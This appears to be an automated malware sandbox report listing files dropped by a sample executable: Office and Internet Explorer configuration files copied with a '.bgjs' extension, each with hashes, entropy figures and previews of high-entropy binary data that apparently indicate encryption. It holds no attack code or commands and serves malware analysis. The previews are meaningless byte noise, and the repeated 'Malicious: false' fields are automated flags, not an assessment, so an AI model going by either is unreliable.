SHA-512:	2A89AD70BF42B8984599BCF4448726FBCB53D307D4847D764E8BC068ED96627C1C0623D3BBD68F0D7E5E8D18207804A9467289B11665F86912665775D7FC57ED
Malicious:	false
Preview:	<?xml.r,H..PF....J='.....e..D.\|......s..........!..Z.h....>.7T...Z....F...`.<......WT.. ...=w.....P..\V#.J,n..n.K<.4.....E...Q.[...l..h..$`......G.<!...h%.\.K..D......u.\|......_..Sa..9.....y.t..T.q918=]>.q\.hc&.o.....5z{..Q....K .T.sS..^.u.0..J....j..P.rM.%)..X'].t..at.....?.o...Hc..6......X.@."....g5:.....d.(....]...d`....#... ..}..J.A.....v.1...9^n8.YK..T..N..?....>q...oY.#...!..d.....u.`.....p+D.[.;.E.......-.P..@..Q.....T..@.....9..[ou...A.x{...."....]e....Asyz0.B....#..(..].;.'.E......\I'.h....p..l5."o.C..w.w`.#.!..60...n+7._..)...g....c....k..p.....j.FWi...._...]\.......Q.Nn...5_.R.m...[a..Y.........05...\|xv.-...kw.p@.=.<.^....=.y]._.1.-0R...J.1?..z..,...(.W<"...A.k?...oG...=...+)...O...0.....=.[..N....,C.`...v....x1...MS.. 3v.."........Z.%2...^.O....KtM+Zm2..CgF.....hx.".....`.Nq.K!.2Xa@E..!C...E..B..v...p...HObg......@.C...v....x.x]..).....R..?G*.....Z.....$p=..H....w....R.].....\....)7q.SK....i...E..x..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8993475017722625
Encrypted:	false
SSDEEP:	48:Ud32QgLP/KexJBJAhgyEHY885fpGhe0krGyWq2D:Ud32FFJBJAkDipQkqyC
MD5:	1C98AFABD3CE3D915006CA0C8B6FD27B
SHA1:	BF53E7A41AE8627C51EB031E2804BCE4295C76B5
SHA-256:	D6B5043C908140C00CC22C0B3DC7205509E9DE64D068FFEDE595D671A8D81CAE
SHA-512:	4406BF17A31E70391579A433F60B795C3EA5AF406F23C58F46FC7486FD59525D6CCD031A07785ABC1E8E7B1E5521095A6F767D017D5DAAEE4BA499BFA57B46D8
Malicious:	false
Preview:	..1.0F...x4}.G..........6.........+.....z.b..Gl...9$.a..G.......{...m1./.r.Y.......j.."........=.Qm6...e.c.."_~...........D.l.....=........j..:.d$Q...d.[l`.]\|.?..6.0a.v...B....iq..-..N...VeJ7='z.Va.g.C.E.5.v.SB..A..V..q...,.<$6..\|...y....b.b...[....B..4K.4)N.#..YWk.......\|...6......f.m@..:.h.m.(...{o._...n.Av+.......-...\|....hM.E\o.s.^....U\..W..c..&....l.X7.O.9E...........(....%.s....Gvg@..j...^...:K.G.Oz....L..T.....b.5.k.%I..#.b;C.Q..K....Aa..J!..?...O...T..28..)8.....eV...cJ...maA3.p..L6M...Z.X...Zb.../d........Rm[..y...1m.E8.(q{5.A., @..De.&f.`../.\|...3......!......_U9-.Yk....G. .].6.....I.g..n....T......r....R..u.T6!..fXE.....?....N.....0..8..".+.F7-.S...)........0..\|...w....[\.'..p..n..Z.......wP....m.Z..j.. 6.+..Z.....x\r.&e)....k..`.....:S........;A.......f..>h....3.p.b..... _$...$..&;.oh...eH...c....Y!......^......x..7.....:..gv..&..DM.1};..h..;......n.5...."..'..+.U.5...&..cW..~C..Ec.A]X..9.^.Hi....[de..3{.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725546188407881
Encrypted:	false
SSDEEP:	3072:EAgSnw+f39oCmKiowPto44Z5SppCpFzoh7plxB2f/gzQzjneihNsNTAe:EInBFhmKcW4SOC3Y7z2f/KQfneihWBAe
MD5:	400FD90CC2DF1D5E96B03FC0F12A625C
SHA1:	A383DAA7248A8FEC26A02FD55102A0C94C597280
SHA-256:	1EB30B19F3FEEBD214A6F5B5F9511C694FFE99553BD64E10C77272E7B4B747F0
SHA-512:	D4C439E5BD6AFE5514311EA635B85E031BCF799E184F3EC2488D322BD81DB4B900F66F7A855C06CA73EF283FEE8E5D48FB08F65C876D2DFF375F83AF848C7F8B
Malicious:	false
Preview:	<?xml..F5b{.73/:h.\|xB..J>...K&.r>N.........-.W.z.U`.....@.........._D`.....y..K.q...&....[...f......p.q4.......}>.Q...9N.>p.J.G9.L.9......L..7..}.9:~g.i.D.-...M....c.}..k.....5....V..[....G.p.vN...\..s)W.....}...0...#J.........J.l..Fh^h.5....n.(.....,....V../E..w....2.5N...mAd.=n.....Y..M..6<360.Fg...,.Bg.S...9.e.F..>.;....$.t....94...e.k..@..w........l..M<(..&V.g..m&Y3..TkP...Y[,.U.h9.`.....B'...;B.]n......&..sR)..x.......a/KWv..r...O..l..M....!..EnRE'..IK.CB....AC....;p...P8SG.2l...T..'..3.d(...M......].(x.(Rj..Y%..1..5.....z4V...........I...h;.!..S....I.mL:..X.\|.q....^.W...n..Ai..2Qz..3.J..}.....KL.9.&}.5....p...I.....P.~;p..{..~.?..{.,....4.<m...v].....V..%...7.Ue`.u..7..l..{..EX..Q.../<.ugm.~{Y.....U.0....3n .(_P..XO.{.'^...............)......{w.A9Y6:....&....?(/..-;.@..fn...1..z..kS..I.....e...O.Y.r..>.1......0i.h.Pg.........5....i.k.m.B#U..............L.....?v..t....9LV....:......N...Lw.b..p6.(...U.H.. .sJ..W#.......*.O7..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.857615301646731
Encrypted:	false
SSDEEP:	24:N473cLZ6sqFb6c6Zwbsv+eT1m/uFxDee7/mfdm0Mb9pCpC0w6Snp6HMyCLbD:GTj54v+eT1YTs/mf40A9cC0w6uxzD
MD5:	9D1126F9D691DB1073D3899D142E5B09
SHA1:	83C12953802FAD0BBE636C6F867FAC8B2A4F069D
SHA-256:	D882F74A2C3B3AD0C6DEE25413E4F2A05D57D39463562A69884F23E6E17C3FDA
SHA-512:	3ADCD8E1B97FCFDC4D924C96612ADB991AB937745ECDFCA22D80ADCA5F629C8680D57660C2FD7B85387591198999E54A265AD66A6EB74EAC9562919F694FD4BE
Malicious:	false
Preview:	<?xml0C..,...'.c.......M?.8m.d.,%=.........~..:......x\E..".e:.......tG..s.!J\..z.y...D...i..5b..~g..Z.h......K.6O.z&.z6.,...xs.p."...k6k.Up...H4...Etv..j.MTr...."..C..\.0. F..3{.yf3O).....E...t.W....xA....(...s.....o..xUS..5....e.....\..TO..^.4.z.g2.>Z4@l..W.hB.r6./._&.>_.t..g./.....C....7....%{.<...o-.gw..?.....l."..z<......H1..E ...U.<..q@.B..)...uyE]hoI.W..3........A..9Mi...........J.G..,f.Jeb.o#..A...f693.'E..\|.).J.......<...1.l.(.....m......3.......".kEi0......j.$.,...$.!S....j....C.~b.q.c...6.......A..5."..D.f.?~.-.....E...2.)....vs..)m.u.e.n.........)W.....)r..cB.Z..,.."B......t1....]..(..-..].F...]SS.&`l..v.u.....%..-..'&M.....S4.+...v.....=..O!E......`.:\...H..(.x.....-.......O..7...?$../.N.G.sfT...<...o4k.:1......Y.h.\..l....{.D.4.....]r.Ow...#...IJ.A.......2.9..*..Q.f. i@.3/.......Px..`..#p..P.gz..k.HD.I.....H.i.....[j.aa/...\...s^M.hZ...U........(..l.,C....^..../.v3..].}.`.v.X6/1ol....AZlG.EF....'.&..z.....$.,.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.801172579977947
Encrypted:	false
SSDEEP:	24:/3T6WooqJ/l6UVvXL01IAtr8bkB2lz/OG5EtJJypn9bD:/OWooqJdVPAtQgB0z/O3J6n9D
MD5:	130049F3AD9BC47B1843A368B70B705F
SHA1:	B2513788CBEC082FC2CD65876A6725D22EB9E402
SHA-256:	6D04931A146B79164C70A73ED03C40A129A5433265AB8D1A800B35AC3BA1295D
SHA-512:	E6BB6A1B742DA15A5B0ADDAA0606F0FE292DE2F00F04D8FCF23A03943C970224BDD27268E9AAA255D738498E0C416677F03AAA4542AA3779BD5786A324BD9C93
Malicious:	false
Preview:	<?xml.V6..=....1]4.Ou.=R............&I..\|;...o].....T.]..l.&U.G.. 8$..............>u.i,s.V. >...G.E.`..S.i.>..#...xy.o.L..e2-....tV~F......4..I.:E.d...T....O_/2d%.Hp.f..3.P.`.".E.l..t....}.VH.'.....;q......I..C...Nc...9I....f&.......q..._.I....=...o.....L.u.qk.#\|.....PY..i...4(D.&@'.\|....\..2..Y.>...4.......l._...3.G.8p..h.H.LjC.t.....s.;.xy+0mxE8..ev.+..dM.1.u.....V.h.D..3..P.g..a..(.q?W.y.A..,.U.a#..z.o...H.!..=..<.F.U.h.bL\-..O.^t..<qS.l..FQ....h..).?4..n-6...ig..^...am[/...)J6"4...a..&W..1..m?w;...h1/.-G..........R'.Fl.CW..m.l.F7...lv".o/..+HR..a.W,...4C.8.`.A.8.....-..s...I....$..'Y.m...b..~R.G^.zN..$.....AL....N`.XL.%5.. .....h...%.p..:......'G~...k.P....3..j.i&.t..>I........\N...8..}.I.% ......_..v...k......$.......Vv.^E..0...A.s..\.....jnK..i.:8._..(:.4C.. ~.n..Z...*U...^.......}.gqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.726752880271688
Encrypted:	false
SSDEEP:	24:AUZgboCA6VRSLBQmkLxJ965/gNLljYMbD:AYEoo0LObY1aLD
MD5:	EC02E7E469729D4A5EE92037898E731F
SHA1:	1C262B7A405D9B6D05F243FCA3BDF8C41B30EFC9
SHA-256:	F42DFA5583221153EE92C113E951FBB3E994D68379D0B662A104BF0B42EB5808
SHA-512:	960A52ECE661D643AA6195A83913C0A120448636E87B5FD483D2FCF6A56F5D341E54461310F96DA4FCE1942301F280DDBFBDBEE681D7633E11E746C8F2F09520
Malicious:	false
Preview:	<?xml~.F.7.}...C..0.^...)...r..j.\Z7...hVpa.0w.p.r.\|w1..G.f..6."9..T..%.\|;.>r.v.t'v .Zl vd..!.E_c.e..!....!........`~tF..EkzNh.h.."N....m......[\|...p".S.t.....#...w......zI.~. A.CL%.f}k-..........a.....m..zd.oD...Z.....\|...<.5=g....9..........tL.2......Ir..M....A?.F...(.}.x.D.:z-...D.{+g([ ...I.ow.Z.R..^V.2n.3%.XJ.{..<:S..O!..a..R...d...]..`.+.....2.>..._........lV..[FL..H.x..R1.p.'s.)rTa.!s...d;...s..z.#bbt...,mr..h.....h....c0.......3F.m....?...~.../%.'...4@........"s..%.=a...^.....Gbp.%..vl...\._...3....WJnR..Q.0n.%.q.b..?.bT..L.....xv......t..._.Q.~3%X..?n....6gj.c1..c...+.&..b..YW..5...c%u..,.....<..:...f.Z.V~.9O.....R......lo.......l..a.E.....\|.(1.....(.a.... .1b.....d.3.._S......Tn..'..Iw.qB.!......M....Mab.V...[V...U.wg+.q:.ka..YW.Iw........}....cR.:&.aVSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.763522579145776
Encrypted:	false
SSDEEP:	24:PLJU72cuGpjHbk0MOT5BcP0kTr1gDWuyj5DPOuzMrbD:PNVGpjbBMOT5Ba0S1RPbNzWD
MD5:	9599F452C354384FA6D91974E92AFC4B
SHA1:	C22842DAA61642FDF20C1CF5F652F2D556468B94
SHA-256:	AB52F154FE6B21069499D27D433A31602FD687A4D579C983D5120554D657974C
SHA-512:	94E5169742FF304508E14E3968AB42657BD03352A001CA76B6E4EBBB615D79115ADA0E1D0822CBF3B385835B5924413E7820D93D4913A4527ACB244868BA507A
Malicious:	false
Preview:	<?xml.....5..H......B.%.M}.7......z...9..0x..b..f./uR.CS..._.,...0...NZ.-j.h.-.k........pu.H.T..S.....@R...Dn....I#:..p.liy...k<..G.f....#_.l...r3...0..c...`....%o.....S....4..k_..fV..xz..%N.l.>..]2..Uu/ .>....T.?F.t%G....5.. ....In"d..;..12V...4.ek..<....Q]...p./........bg...G.......).....7...(%S.d.-.,DC_..0.2..K";.G.sv.Q.?.9.....{&U-...5...H..3...y1.5#.H...?...!~K..S.!....B.6.b......p...{....F.../..m.<...Mk&].D.......^..t......\|...*...,8S.c'.\...QaU..N.9@..v..-.0.J..Q^i&.x#..0....Q.$#...z_u..h...^V..._KW'....(.5?#Z,@r.2.....Cv...9....v...a..:.>G......zG....Mg..^..._.4.[.......Lto..@...s.'2..y.D.'....!..hJ..h^..$...L.......3.2.<NLz..`s..O.#.%>X9O..T..gO.A.~...H.(0B5mRu..&.`)zO......G:.b.e....!..".........h.hp..0.jyhdf.U..i.O.."..8.....\n...3.a..u..B..t...g.Z.....A.T.y.......Eh}...6..v.c..>.....JJ..])3Ps...!.R.1.U.Q.L.....f..D...tH.-#)...._......KV...[..#@..;Z.kX....eT$....0.A<..P....T..."u.l..8SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.746622112794355
Encrypted:	false
SSDEEP:	24:uMijyrUg66QXSHQpUvM8NWIriA4jP8B34JOI/RllKdbD:uMV4SHiiM8EIuMBIJJ/1OD
MD5:	7E5D6D12A4018E731ABCE5E61747FD7D
SHA1:	44BD26FA84125F201C51C2F6DFF4A06949A4B88C
SHA-256:	18869AFF28B25C6A99847453785EB38CADE8CF47BC8CDB5E1D4DE481FB010104
SHA-512:	4A35798BE6DBA20A25AF418A3DD67F3721C9C24CBEC2BB08B50A52609A17A78FC07FEB1926F8F9A5E74939778DBA7FC1CD2EF0E8466D25A3FFA9BAD1D9129B9A
Malicious:	false
Preview:	<?xml3....Z.F..Tc....4..\|f..o.A.t....Q=.-..g.....]5..?....N..N.L../M.g<l.m].V...........^.1S?..<]..L..9B.....z.m.M}.0...o..p!.I.s.-^<..\|vk..........s...F..G;sF....U.ke}~&_.........-Sm...g..a!...I...Q=.W....t.....i:xVa..GC.........:.S5....m).h...m.#......,5.q?...3!p...{......^{G.`....py..gvJg.%+..w.....c......:1[.....eQ..{2o\|.....--.(..: g6..+.-H>.N.....]g........n+h....I.Hl@...5..k"&. ?].+..lO.(5u..A...aSR.c...[...R.X.U>.m.X.Le.nBva..<n.C.!....l.....j..X>.g..`...Y..R.@.....u.....L.w..v..`...A.g.T.'.....H.....Q=....p....El..z...m.)......C.......%.=...>+.....F.5W....l....A....].1.=nCM..j.QN&..Eml...XT............K...&.4..6...>...B.q.W..).........u.4e..u.@x....cw...i...K7.....".v..}.......J!e.`..a*..+w1.(....{6Y.`g....Q...R....!-...M6...9.@...phBk@.).1......)cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977594867149396
Encrypted:	false
SSDEEP:	192:vKThtQTWuHzxzWyyLdC9utPQ0txFlCjkIcWy5jdQjFaAVF8+w62+:yTfeTOVQOxF0QtWyuaiOP+
MD5:	AFE76C112266BA49D379C9DDF338DDBA
SHA1:	E1D30F5AA786A4FFE6331EB69696B8A3C7D4D7E7
SHA-256:	011B2F3A2B4E4EE4EF4C517ED0DEE8A74F6D6CB914217D67CF64D09C1AA40E1E
SHA-512:	F476129011DBC7481023E30F82DC8C5AEF3F082C50C6270F111F87B9BF2FFD6CF960E9041F9BB7CCFE65350787FFEEC006945ECA2613E1EF7958294BCBB9A28D
Malicious:	false
Preview:	<?xmle....y...v..\K/.....d.!]:....A..W....$..@...?..LA.......e.(_.d.....(,. ...f.....`.....>...>{-..[.4iJ......h.`..w..[....8..2Q:HU...ySFr.x...b(...".J.....Y.{L?h ....I#n.k$...R3.{L.......j......ry,....3.<.n.q...[....,X.8.....W@...[mD2.\|..v0]!.9\.~7.LY$.,Jm.....6f.....m..$.I:.(.j.r.00+.T..~.WD..k...\|j..w~.@:.H.XwCgQ..l.......[.s...}..<N%#k..^BBwt.br.q....."...g5..K...8..TO..95@+...t.A3.!3..z.K..).5...U....B..P...M...H.5.O..b15..p...)t2.Y...lFS..........f.v.}...Ux.J3.q0....~../A...-.5.. ......T.[L!..}.).c.Y.N.Z.a.?b...hI.Iw......Z.+s..@v.Z.5l[..B...I.......6..z..1p.j.Ii..k.+.3.Ij9..T..[%.?ZN..!....$....g...... ..h.%.....v.../ .Ci..4F.Y....^...Z.ml9b..6:.({.`.n..CA....1.g.T1...2..T....v.i.T~..K...c.3b_..i...E....KE......N.E..x*..N@[...}M/.E....o...-%.....w.....YdP.w.YQ.....d....Q..).T..F....".{._..k..<!...q..{n1.\...5p..D.2n.2:p.).....N.&..E(YC%`.k..'.Xy..u../..:....-:.....B.!..M.\...Q...hU$.7.\Ona.H....P...C...pw.N...5#84.../.G(Y.?.@.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.844322840228101
Encrypted:	false
SSDEEP:	24:AyjNzdNI+NgjO+iCVPOgJETMg+wdIZ2uNOf5X5vBXCnjGKmCUougoh5HbD:AwN/EKuPc46cHeX5l8JBsfD
MD5:	D318E17575DDC2BE2D7D20DAAAC446F9
SHA1:	8AC9BB95F12BAE291C8C174B434CA2EF176325B2
SHA-256:	8AA4708E2C757996E5F685D3A08375473D7A31AFF9890181D53EF27B03A123F5
SHA-512:	25B2D64A0A77E4A051E6B702697B63A820D2EEA27A5F1876E803AE165FB158E8F14B01C888EDA1DC78F6F05671C1CDFA3129A4E57D538605BE56A48EBF1EF04F
Malicious:	false
Preview:	<?xml=..[.-.F..D.&...Y....V].W..t0..a1....27... .gZ.j......p'..p.,gGb=.........;.7...2}..v...r..I5.SG....Z....X...vV.Q..;8;..&..+...K.BH.b.Df.6.+.....Q)..9I_..GR.X..4...[.....9.%.))T.E.%~...S..z..{...m..~.e....$....W".]...u..?...#2+..2?:H.@ER...KG..!s....0Y.....>...h..o0..{w~..R.S..t.HH....y4.5c...:6...,..g0.".Bd.../.....mA#+k..z......g...\....60..2.....?.w....AX1V.l.@...Q....v T>...`..1.wPE..n........y..l5......0?.A....6:2.o.m.jb^]2f.&K..t...........Ye..M}h....6C.=.S~]Q..P..\.S../....K......y[+.....Ro.5.....E..zHE..3"....+..F.{{.V.....(D.\...E...S..s.....;_V..TUm.rp...0.../.V......L%..p5>.&]V`F.[.c.k..@._`.M0'...'.co.......~.k2.s}.oa.kX...;.7b..d3^...Qg.8.8..bM...#nw.e..#...Bb.v...AO.6...P.QS....u1P.z.....\..D...r.....[oG..7L....p.y3....o.?.......\+..._.2.e...<<..Z........x.$.l..H.=.<$i.!.....im.=Z..)_....g.+k...{.=.._.......b.L....5..u00S3..\|.b...S%......[:!N.^Is@P9G.)..gv.q...L.`.>^..a..;.....z$...q.:O...{..1.l.\...<...U.N.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.827535145749069
Encrypted:	false
SSDEEP:	24:cIl+8IhhuGnzY78LgkhZKBxvpDkjGPyJ7xWTbD:cbzn/MkhcXhDkCPyrID
MD5:	AB69AD9AA4001510E172734F06B08BD9
SHA1:	BB12FE41B69DDED3103E083BD8204FE773B94E2F
SHA-256:	41B36EDE86BD510D88DD74A3E33AE6165D212EC66A4FB04692D2009B75F77C2D
SHA-512:	670A82C8938DB3B8ABCD9A7939768403DB41D81F283E7B67E5D8BF38EC95B17879811C91C53853BE6B96FD045E850BF2666C990CCBD1DAF63876B6BBAEA4DAB2
Malicious:	false
Preview:	<?xml....x...:..k../..>gOwj...#..L.<....-.Uu..p.......(..M...c..L...U..2..RAS8.A.H...[...2FRp..W....Al.m.AD<,j.>..^6......VJ..Ks.2.."...y.7.......jK.w..I(..qa.B.#p...H.Z..k./8...Is....^LNY./'Q....y(g.....X.^}.....`.......F....~..1a\...........\|.........+.\|..uV.Y.r...t.V?.0.R.o.j..%V....Q3s.o.qm..!.[...v./....K......7..\.F.3~E..'K.q..J....`g...".......q3a.....]bx....\..~./d..p.M.n:..u.7.!.SOc...B2..dQ.}.\..i.6.;eB.;p..k.T.+.Pw..\.EtE.6.om.s.YX...d....=......R.uf..".p..H.Y.H........../....8...:......./..S.g..\|.2.)....G..8...fn..L..bF..z!(..\|.......p..Ob:.GXM..G.V....H.T..Ax.t.:^.e.4K^.2....]/...?.t'Iv.:d.).b4b'.0..t.l$4.......$.F....B<.U.h@.`..0........J...H).g<xQ...$y............q..-jA.....?.5...e...6.`J....E...cxg..`..O.k.Z..R ctB..g....;....x...;..G........d`.1Z.w...,..[..J...a^..Z1oz...\GB..Q... ....h`.1..g&..K....U..D.e......KuhWO..SV..K"0.....p.fg9.W....&W..r.....VH.5^..#.\|.'!.U....E[.....#F I..x...\|qZ..B*.6T}..\|=..8..'...U..^...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.802979813525232
Encrypted:	false
SSDEEP:	24:eZD6dL7CKCEKWy/tQ36shKfg0+TiruyQuyZCaMIScAbD:So7CkKWGtcATru9uaHS7D
MD5:	D564D6DAAD2E445A1D040327346CBC9A
SHA1:	EB4E06BF83FE1B669D5E5E60314AAB78F193A75A
SHA-256:	A184BEBE0EE825FCB1857F894EC1C3D7366B27FC23790913BCF5B15FA78F176E
SHA-512:	84F4EB1E3F82A376807499FB530716922BB23056200AC2F261094C7D95649B5414493DA78B3D6BE55A78BC41A35B9193108F47C3A8458491BA115F00EF42A9B4
Malicious:	false
Preview:	<?xml_.N._.....~..?....'P....R.....fGB...0F...rk..v.rAi..z.,.ho?.V.V..^.[.K..&3..C/Y..H..v.S..Vo~b.....M..E...(....jM.@...W..nf.(w..C....B..\|+.6.B.. ...i.X...X....N..qqQU&.k..^.I...Z<O!."G.oCTM..k.....F..Ns..K.Va..e...U\|....$$4/.>V.u...m.9J...X. q\..,..-.~7.....S...w.....5..D..F.J_.\.G.Fq..............x.Ya.B...>$.9w..YOW..#).Tkn.3.m.BB......8,}...\|.s....z. ...".o.E...'z..(.u...q.......C.~..'.......].=..pQX...qA}z-...T.o'...2.}....7...`.].d.F.].B.......V..n:{..>.]X...:.j.1X............w..m.\....J.c.I.......i.t.......).\|.R<..u.....:8.l^.\|V.....X......n...<s.....VT.)r.G8...D...6.B..A....[.............<0T;_.].+z.q..\|.v....../....K...X7z.:......$bO.% _...F.LT.!q?..*..G....ZPn.{3....Y.'...u`.}=..7.D..".8P.......N....pH.D.f.I...............,P.U9......J.G8...`...I.c.QZ..e.>.".H..#.p\..<]..~...(>...F...N.eXQM....L=...A..{....G7..;.j.s.{.]9.Y<..h0.W,.0.r....g..u...YE@....,,.C$.x..J..'.+.....0IRb../....].`......l..x.U.z2..XB.l.-....cG..K#eSLiby

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.939157752485951
Encrypted:	false
SSDEEP:	48:nri1p7bMkYhAcVdrwttkrsM5VqNVzsDKtzNesQEhVNZnEazgk9pX56NgpwjLHktg:r6pcjb3rwfoqNVqOeLYVrxzgK560kIzS
MD5:	D8F129CD6E8DAAFF5640753F7B6E2E0C
SHA1:	FF991B5112E889ECEA6B382F45DDBEB5DC637010
SHA-256:	1038EE784C2945B80269410D4B573C1C4DD69191C2DF59203E0F9B56FB4ABCC1
SHA-512:	1ECCC231C4C2B3FC53890B0F553884A0445FB1B1CD993413A40B5A803D66F3352A58845D346B78F0091C197263AA8F5B1B5EAB386B9550D9260054E2D4151F10
Malicious:	false
Preview:	<?xml.......w......l..#Z..E...1@.....h.Q.A.".+c........"X..N........;.k.MJN.;..a.q..K..;.6..v..H[C.'#.._>z}..._iRz<.08..0i+iB..4h.Z.H.u.5!YK......YJ.........doL.I.Q.w.a...z....h.!.b..!.s.{...:.....w.4z.......H..e#u.h..&H`Yo...;......`........V.v^..F.~..BG..Bi..m.Y.e...`..?.!k...f}0.E7.C^.?5...Y9!:^.u.8_....~.......+.].=O........\|.&.-...D.m.....i&%...d.<S/L...b.g(-w.KZ`.`OO....!..M.;h/..l<dq2.N..5.-..s.'.{...2M[..;.Y$H..`.N7.9.k..r.~...s=....@p.;h......."...#N.sI.....^<%.2...<.P.......o.Z._...-A7.....Q..F2l......C`$9}....ut.o.F......^.%.q...j...bj}..]Z,........2..y..(..A.+p...i.._..........B7W.r8.L....RC.bE.....Us!.P...\..u..(.]....W..z....!.......eM}..A<.p(.%... .n..:.$I..a.g..8..]..oKRs.f.,.......!.+.6j>'.\.D>6......#...DM.g.Y.......c_.. n."........f./.....h`..j?....V.{. ..7.....1.6........6`..I.([bw8.@[.O.E...^0.. ../S.jx.'..o..W.-....\"..\|.(2....oX7..E..x..M.D..m.,<g..\...G..V2.+..&.P.! .i..J..*...7>3..hV$...6x.r9P...`...... .8..x..4.>.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.805703264033214
Encrypted:	false
SSDEEP:	24:zgtjefCPmxZvJjvnb6GNT6IkFUzXvoYIwJ7qYOzce2kwbD:JfpbiG56IakH7qNv2nD
MD5:	1B4E057C2857C2061FB9DEC915718C72
SHA1:	562533D36182437263A8B9A33AD30729A9435BCF
SHA-256:	1CBB5BCC6A7D4D5075B1CA372478B4C6A8076C0EB09072F7EFE01D8A4924C314
SHA-512:	F6286B093DD089A2DD1457A6EA1D925C462BA8A03F4132BA50967C40BAAD8AE37EBFBA2D2A06E1006BB543A0B55501216B6F50BD54A318E0DB5D856929FF3F68
Malicious:	false
Preview:	<?xmlC.......c6.nK.:b....A.-..K.....c.S2\..I'....0.. .sLf..u)O..E\|.c.;,n..6V.".H.....]...V.N....0....:i....0lC>.........$.V.\|.sb..L.1...=..O...j...=J_.?..c....~.M....%.....W..JU...o0.,.Q<...}?..g.4.y5..AN...e...>..S2\sR2+@f...(M*..h.....X......M.....T{l\|......ErS_(.u5g..K....._`(.^.W.O....Edh..9..H.I.g.;.....Q.S.~..e../f..-..Y]...kY.._Kf.<.BW.95....b....t.v.N..9.U.$z....?7.mOG.......$..v.n......p..,.(.#..>..!...u].)D....Jky..V...m+.........\|\TS3!GW.K...>.....0.[[...1.t.?..a/..1......-.\....Q:@.T..vqWQ...iI.' ...uJ.p~...OK.q.e_...1Q.SBN...'\|p....KVE..._y...Z.....x3Wp..<..c......hV...B.,.\|G..D...\......wI~]...l}.\|.6J..ig...%...~:....o.N../.j.s._.......z...!.^.]........{....!.....$.@.X...l.{U8.....%.W Z..GmB&2S. ..eQ..._T..w..S....lJf....I..y .....A.{.[..;..%r.5.(.'..T..0.a.}.^..9$.`?.tN.bDn...7~9.B../.._...4...V..Z.v.Jz.:.b.IV..E.....Y.1d.}....p.0..Ol.3.g..c..1x :...q.w....3.J...q9....n.....&....m#LpCH.p.y. x..Y...$./..l`.....W/+j.....7[.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.9767491112876385
Encrypted:	false
SSDEEP:	96:uy8qy1wjme9g5EfB/yUKA3uu1yDBptFT8alQf+XUeuEDdBrmUBDHQbX9u:u4fI6B/teu1yNptVHke7dDHYXc
MD5:	BD13A88301B83ECACD39D266E5CD2D47
SHA1:	5B0C6CAD2AF1E20964F48FFB0CFE65F09EF1F2BA
SHA-256:	97E69227BC0508E61536FE458E0E233581A28A238CB38E6197A2A0E5CB153CED
